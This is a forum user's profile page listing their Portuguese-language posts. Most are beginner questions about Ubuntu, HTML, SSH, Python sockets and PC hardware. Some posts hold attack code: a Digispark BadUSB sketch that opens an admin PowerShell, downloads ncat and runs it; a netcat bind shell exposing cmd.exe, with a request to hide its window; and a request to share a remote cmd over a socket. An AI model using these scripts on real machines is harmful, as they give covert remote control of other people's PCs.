Ir ao conteúdo
  • Cadastre-se

Gabrielsilva123

Membro Pleno
  • Posts

    53
  • Cadastrado em

  • Última visita

Reputação

10
  1. instalei o ubuntu, e a seguir aparece a mensagem: "erro: nenhum disco de inicialização foi detectado ou o disco falhou
  2. <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA_Compatible" content="IE=edge"> <meta name="viewport" content=""width=device-width, initial-scale=1.0> <link rel="stylesheet" href="style.css"> <title>Degradê animado</title> </head> <body> <div class="box-degrade"> </div> </body> <div class="context"> <h1>Start</h1> </div> <div class="area" > <ul class="circles"> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> <li></li> </ul> </div > </html> @import url('https://fonts.googleapis.com/css?family=Exo:400,700'); *{ margin: 0px; padding: 0px; } body{ font-family: 'Exo', sans-serif; } .context { width: 100%; position: absolute; top:50vh; } .context { text-align: center; color: #fff; font-size: 50px; } .area{ background: #000000; background: -webkit-linear-gradient(to left, #1e6309, #000000); width: 100%; height:100vh; } .circles{ position: absolute; top: 0; left: 0; width: 100%; height: 100%; overflow: hidden; } .circles li{ position: absolute; display: block; list-style: none; width: 20px; height: 20px; background: rgba(37, 88, 24, 0.445); animation: animate 25s linear infinite; bottom: -150px; } .circles li:nth-child(1){ left: 25%; width: 80px; height: 80px; animation-delay: 0s; } .circles li:nth-child(2){ left: 10%; width: 20px; height: 20px; animation-delay: 2s; animation-duration: 12s; } .circles li:nth-child(3){ left: 70%; width: 20px; height: 20px; animation-delay: 4s; } .circles li:nth-child(4){ left: 40%; width: 60px; height: 60px; animation-delay: 0s; animation-duration: 18s; } .circles li:nth-child(5){ left: 65%; width: 20px; height: 20px; animation-delay: 0s; } .circles li:nth-child(6){ left: 75%; width: 110px; height: 110px; animation-delay: 3s; } .circles li:nth-child(7){ left: 35%; width: 150px; height: 150px; animation-delay: 7s; } .circles li:nth-child(8){ left: 50%; width: 25px; height: 25px; animation-delay: 15s; animation-duration: 45s; } .circles li:nth-child(9){ left: 20%; width: 15px; height: 15px; animation-delay: 2s; animation-duration: 35s; } .circles li:nth-child(10){ left: 85%; width: 150px; height: 150px; animation-delay: 0s; animation-duration: 11s; } @keyframes animate { 0%{ transform: translateY(0) rotate(0deg); opacity: 1; border-radius: 0; } 100%{ transform: translateY(-1000px) rotate(720deg); opacity: 0; border-radius: 50%; } } Como ponho hiperligação para um site quando se clica no start?
  3. import os import sys import win32com.shell.shell as shell ASADMIN = 'asadmin' if sys.argv[-1] != ASADMIN: script = os.path.abspath(sys.argv[0]) params = ' '.join([script] + sys.argv[1:] + [ASADMIN]) shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters=params) else: os.system("start notepad.exe") como abrir cmd como admin?
  4. Na parte do codigo:DigiKeyboard.print("wget https://nmap.org/dist/ncat-portable-5.59BETA1.zip -OutFile nc.exe; start-process nc.exe; stop-process -Id $PID"); Por exemplo nos dois pontos a seguir a https, ao executar o codigo em vez de o digispark escrever https: escreve httpsÇ porquê? O codigo completo é este: #include "DigiKeyboard.h" void setup() { // initialize the digital pin as an output. pinMode(0, OUTPUT); //LED on Model B pinMode(1, OUTPUT); //LED on Model A or Pro } void loop() { // this is generally not necessary but with some older systems it seems to // prevent missing the first character after a delay: DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("Windows PowerShell"); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(850); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyPress(43, MOD_ALT_LEFT); DigiKeyboard.delay(250); DigiKeyboard.print("wget https://nmap.org/dist/ncat-portable-5.59BETA1.zip -OutFile nc.exe; start-process nc.exe; stop-process -Id $PID"); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2500); blinkLed(); } void blinkLed() { while (true) { digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level) digitalWrite(1, HIGH); delay(250); // wait for 1/4 of a second digitalWrite(0, LOW); // turn the LED off by making the voltage LOW digitalWrite(1, LOW); delay(250); } }
  5. Estou a tentar usar o comando:>ssh gabriel [email protected] depois pede a passe, mas não aceita diz:Permission denied, please try again e no fim de 3 vezes diz:Permission denied (publickey,password,keyboard-interactive). O que faço?
  6. Queria quando o client_tcp abaixo entrasse no meu server tcp partilhasse o cmd para ter acesso ao pc é possível? import socket client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(10) try: client.connect(("192.168.56.1", 9000)) client.send(b"Conectado?") pacotes_recebidos = client.recv(1024).decode() print(pacotes_recebidos) except Exception as error: print("Um erro ocorreu") print(error)
  7. Bom dia Tenho este código: quando a pessoas escreve marca preferida aparece corsair, eu queria saber como por mais como: portátil preferido e aparece razer Como faço isso? Obrigado. import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind(("0.0.0.0", 9000)) server.listen(5) print("Rodando...") client_socket, adress = server.accept() print("Received from: " + adress[0]) while True: data = client_socket.recv(1024).decode() if data == "marca preferida\n": client_socket.send(b"Corsair") server.close() except Exception as error: print("Erro: ", error) server.close()
  8. Por favor o que está mal dá erro import socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind(("0.0.0.0", 9000)) server.listen(5) print("Listening...") client_socket, adress = server.accept() print("Received from: " + adress[0]) data = client_socket.recv(1024).decode() print(data) server.close() except Exception as error: print("Erro: ", error) server.close()
  9. BOm dia como sintonizo tv Panasonic antiga?
  10. São, a RTX 3050 acho as da ASUS melhor. cooler não vale gastar muito dinheiro. Fonte recomendo uma de 650w(NOX). A motherboard recomendo a Motherboard Micro-ATX MSI B450M-A Pro Max. Tenho de ir, Dei informação á pressa, desculpa se alguma está mal.
  11. Bom dia, vi neste e muitos outros que com wireshark, filtra-se com tcp.port == 80, se eu copiasse o ip de destino e colasse na barra de endereço do navegador abria o site visitado. Mas não da. É possível por exemplo, estou num portatil, ver os sites que eu abri no meu telemovel? Obrigado
  12. Boa tarde, criei um ficheiro bat, na mesma pasta que o netcat. Para ter acesso ao PC, é possível a janela do CMD estar a rodar em segundo plano? Sem ser vista, e conectado? Obrigado nc -lvp 5000 -e cmd.exe
  13. o u de users dá erro (nome de caractere universal formado incorretamente porquê? #include <stdlib.h> int main() { system("cmd /c"); system("cmd /c cd C:\Users"); }

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...